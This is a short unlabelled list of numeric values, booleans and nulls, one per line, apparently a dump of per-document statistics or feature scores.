0.405405
0.459459
0
0
0
0
0
0
0
0.067416
0.127451
102
3
41
34
0.764045
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
5